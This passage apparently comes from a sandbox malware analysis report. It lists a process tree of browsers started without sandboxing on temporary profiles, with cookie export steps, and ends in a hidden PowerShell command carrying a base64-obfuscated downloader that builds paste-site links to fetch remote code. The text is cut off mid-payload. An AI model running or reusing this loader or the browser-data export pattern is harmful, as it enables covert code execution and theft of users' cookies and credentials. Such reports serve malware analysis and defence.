        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3596,i,12374865723092734287,2188346756495425480,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:1
        7⤵
        
        PID:4304
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3628,i,16548955991248468116,310231852462003499,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:9
        7⤵
        
        PID:5556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3636,i,13563560019252744040,4661079481061868817,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
        7⤵
        
        PID:5576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3668,i,3434015185079681026,8781633513815087999,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:9
        7⤵
        
        PID:4716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3692,i,6916864053260098986,4026426236616192328,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:1
        7⤵
        
        PID:2820
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3708,i,458778012480986967,1257388248880199765,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:9
        7⤵
        
        PID:792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3732,i,2587047840986276213,13309919732020460478,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:1
        7⤵
        
        PID:3028
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3748,i,14093756386237303756,12036582605333578533,2097152 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:9
        7⤵
        
        PID:5188
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3848,i,12390842125904344006,15059240855067801244,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
        7⤵
        
        PID:328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        8⤵
        
        PID:796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,2923039607679741052,3187828570881278682,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:14
        7⤵
        
        PID:5700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=592
        8⤵
        
        PID:4576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,6509568072783094864,4369802269751107441,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:14
        7⤵
        
        PID:2696
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4260,i,16789286752141369736,13669992596880909115,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:14
        7⤵
        
        PID:1936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sk5abvyb.oef" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4804,i,713152682402860092,10301342961916142009,524288 --field-trial-handle=2316,i,7675684302891170641,13990932797693902722,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:14
        7⤵
        
        PID:924
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\pae3vbja.0cv"
        6⤵
        
        PID:4520
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\pae3vbja.0cv
        7⤵
        Checks processor information in registry
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1932
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1964 -prefsLen 27097 -prefMapHandle 1968 -prefMapSize 270331 -ipcHandle 2056 -initialChannelId {db018fca-bfb5-407c-8ce6-199fbbf39862} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:3536
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2412 -prefsLen 27133 -prefMapHandle 2416 -prefMapSize 270331 -ipcHandle 2448 -initialChannelId {36bac160-9dc3-44ba-bef4-d57e42268385} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:4420
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\37010463-7bcb-48a2-abcd-706b699de56a.dmp"
        8⤵
        
        PID:2436
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2332 -prefsLen 27133 -prefMapHandle 2320 -prefMapSize 270331 -ipcHandle 2472 -initialChannelId {33dd8fd5-e978-4224-83fa-1b0682b292ff} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:5792
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\218cbdd0-07a1-43fd-a6ee-19cae653b5ca.dmp"
        8⤵
        
        PID:4608
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2472 -prefsLen 27247 -prefMapHandle 2984 -prefMapSize 270331 -ipcHandle 3292 -initialChannelId {3e7253c0-5bab-4d6f-8c54-0c7d899427ac} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:4672
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3524 -prefsLen 27323 -prefMapHandle 3528 -prefMapSize 270331 -jsInitHandle 3532 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3540 -initialChannelId {4a1b2c62-b78c-4f0a-a125-dbf745276a80} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        8⤵
        Checks processor information in registry
        
        PID:5516
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\66e29873-1ad5-40e5-9245-d677942ef628.dmp"
        8⤵
        
        PID:4400
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3292 -prefsLen 27323 -prefMapHandle 3968 -prefMapSize 270331 -ipcHandle 4016 -initialChannelId {ab33bc58-7cff-4931-b946-2c76d686660c} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        8⤵
        
        PID:3352
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\1c1ce8c3-0c2a-4e5f-872a-2fdacb841762.dmp"
        8⤵
        
        PID:5868
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4192 -prefsLen 27323 -prefMapHandle 4196 -prefMapSize 270331 -ipcHandle 2324 -initialChannelId {71778c4c-a46f-433d-a08b-ecb59821a167} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 rdd
        8⤵
        
        PID:5088
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2884 -prefsLen 34876 -prefMapHandle 3120 -prefMapSize 270331 -jsInitHandle 3124 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2904 -initialChannelId {c6981f8c-3e64-4d1d-ba9d-cdf2506de478} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        8⤵
        Checks processor information in registry
        
        PID:560
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4960 -prefsLen 35010 -prefMapHandle 4964 -prefMapSize 270331 -ipcHandle 5004 -initialChannelId {0be782c6-0c4c-40e8-8870-a9ca018be4f8} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 utility
        8⤵
        Checks processor information in registry
        
        PID:6360
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4956 -prefsLen 32900 -prefMapHandle 4876 -prefMapSize 270331 -jsInitHandle 5304 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5312 -initialChannelId {a13d4ffc-2a09-40e6-a285-521c8d766644} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        8⤵
        Checks processor information in registry
        
        PID:6792
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 32952 -prefMapHandle 5496 -prefMapSize 270331 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5508 -initialChannelId {ef8bb43b-ecc1-4598-999f-31f28504bd76} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        Checks processor information in registry
        
        PID:6804
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5696 -prefsLen 32952 -prefMapHandle 5700 -prefMapSize 270331 -jsInitHandle 5704 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5712 -initialChannelId {3d7722b8-b9d1-4c75-9e01-3142e0744293} -parentPid 1932 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1932" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:6812
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4336
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffd6679c728,0x7ffd6679c734,0x7ffd6679c740
        7⤵
        
        PID:1268
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,10624567626039481719,5718622199024863355,262144 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:2
        7⤵
        
        PID:5420
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1796,i,14416961069869277906,9042617360658112935,524288 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=2456 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:5944
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --force-high-res-timeticks=disabled --metrics-shmem-handle=2044,i,5668459760789912726,11049363772760169630,524288 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:13
        7⤵
        
        PID:1860
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2788,i,17853946059965687491,4123133642511015087,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=2792 /prefetch:1
        7⤵
        
        PID:5476
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2800,i,9111548053768482727,9840181615566342733,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:1
        7⤵
        
        PID:5112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3432,i,16669067851372205491,16000638051094239056,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=3908 /prefetch:1
        7⤵
        
        PID:6348
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3472,i,8837494745423198668,14715158615766283216,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=3932 /prefetch:9
        7⤵
        
        PID:6368
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4016,i,9535785303744749543,6396901520846880006,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=4044 /prefetch:9
        7⤵
        
        PID:4400
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3124,i,5680053948194121889,11739407697604209002,2097152 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:1
        7⤵
        
        PID:6736
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bq1d0rfs.tvx" --force-high-res-timeticks=disabled --metrics-shmem-handle=4440,i,16377976637835633573,2605166816559955945,524288 --field-trial-handle=2440,i,17895723203687153504,18065816668902630836,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:14
        7⤵
        
        PID:3108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQ